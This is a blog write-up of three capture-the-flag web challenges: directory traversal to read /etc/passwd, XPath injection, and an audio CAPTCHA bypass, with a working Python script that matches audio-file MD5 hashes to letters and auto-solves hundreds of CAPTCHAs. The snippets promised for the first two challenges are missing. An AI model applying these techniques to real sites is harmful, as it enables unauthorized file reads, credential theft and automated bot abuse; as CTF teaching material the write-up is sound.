In this post I’ll show the solution to the three challenges of
8dot8 AppSec Challenge. The site is not
available anymore so the challenge description won’t be very detailed. Any
information on other ways to solve it are welcome.
Challenge 1: Directory Traversal
The challenge lied in including successfully the file /etc/passwd through a
parameter vulnerable to a Directory Traversal attack. Although, the
exploitation wasn’t immediate. The passed value through the parameter was
sanitized by a function that doesn’t allow to scale directories to reach the
desired file. To illustrate what happened, the following code snippet.
The second challenge involved a form vulnerable to XPath Injection. If even
it could be solved using the Blind XPath Injection technique, first
confirming the length with string-length(/users/user[1]/password) and then
getting the chars with substring(), I utilized the concatenation with an
unexpected behavior. The admin password had to be concatenated with the second
user’s name, and it should show “admin_password+name_second_user”, however it
showed the admin password. My vector of attack to get the admin’s password was:
I found the last challenge the most entertaining to solve. It was a CAPTCHA
with images hard to decrypt through some script, but it had the option to play
the audio with each letter present in the CAPTCHA word. The security flaw was
added with that feature since, in spite of the name of the audio files were
random, each word was always the same word pronounced.
For this challenge, I first downloaded the audio files and I created my letter
dictionary, relating the md5 sum of each audio file with its pronounced letter,
up to complete the alphabet. Then, the script requested the page with the
CAPTCHA, reviewed the HTML code, got the audio filenames, downloaded them and
the script compared their md5 sum to the sums in my letter dictionary. That
procedure returned me the key. All that 2500 times, because it was necessary to
solve 500 CAPTCHAS of 5 letters each one. The code was the following:
#!/usr/bin/env pythonimportsysimporturllibimporturllib2importreimporthashlibimportosimportsocketorigGetAddrInfo=socket.getaddrinfodefgetAddrInfoWrapper(host,port,family=0,socktype=0,proto=0,flags=0):returnorigGetAddrInfo(host,port,socket.AF_INET,socktype,proto,flags)# replace the original socket.getaddrinfo by our versionsocket.getaddrinfo=getAddrInfoWrapperletters={'A':'fc630d2b617c8b7e94c4812bfdb4c151','B':'8ff4175902822c97a2f198bb17b596c8','C':'d6e9c5eb4bf9e2bb50dadf197fd9f9ad','D':'fc756bdca7c344c0b3a96f9fb9f3ca23','E':'76f061e25691fe8c37fc12948a68c776','F':'37db61f33af775fe40675c98810851d4','G':'910352bd873c9d541f329cfdd348910d','H':'e8ddefee7523fd2947b7493eab90f895','I':'1830ef4838c5149155f49e41d049af46','J':'dd9823c94ee36251f68a746862f87018','K':'df64287d9b711ee4a19b1d158ca4aa35','L':'64cb2a64734a34d59d10d4ebb05e9d0e','M':'4ac77b8f485b4050dc395aa52d812a9d','N':'2aca06e764670cf4855e22da6d9ff00d','O':'94fb69e7a14c15f4598ce122b7991436','P':'de2178a2bb4570b3c4c1a55e0432bb61','Q':'8691e9fa1d84c9295f5f695580bfd4c3','R':'0e680cb2891cf82f8941df92f2a384e3','S':'33db6e42a8930f521263ba4818c4e835','T':'4b3266346cfc6255b1bd031d62aaf5e3','U':'c4cc3f1a52e8e8fd1b9ee0e4f1885baa','V':'919f5e551b7a319338523725d4d8f96a','W':'fb960f767bd6f8f210115aa6faa7d936','X':'c48d1f2c8e957e03538a0c780b11f0b6','Y':'bcfb544b8b6040021322023c8f3e2a5c','Z':'684fcaa5a5c61c317b7b3ad2575a8066'}i=0captcha=''url='https://challenge.dreamlab.net/?captcha=%s&page=challenge&cid=11'play_url='https://challenge.dreamlab.net/challenges_dir/11/playAudio.php?audio=%s'cookie='PHPSESSID=eo251g8dl5obdbvjjbm49kmeg3'pattern=re.compile('var soundQueue = new Array\(\n\t"(.*)","x"')score=re.compile('You\'ve solved <em>(\d+)</em>')whileTrue:print'Requesting %s'%(url%captcha)req=urllib2.Request(url%captcha)req.add_header('Cookie',cookie)response=urllib2.urlopen(req).read()c=score.search(response)ifc:print'Captchas resolved: %s'%c.groups()[0]m=pattern.search(response)sounds=m.groups()[0].split('","')captcha=''forsinsounds:req=urllib2.Request(play_url%s)req.add_header('Cookie',cookie)response=urllib2.urlopen(req).read()md5=hashlib.md5(response).hexdigest()captcha+=[kfork,vinletters.iteritems()ifv==md5][0]i=i+1print'Sending packet #%d'%i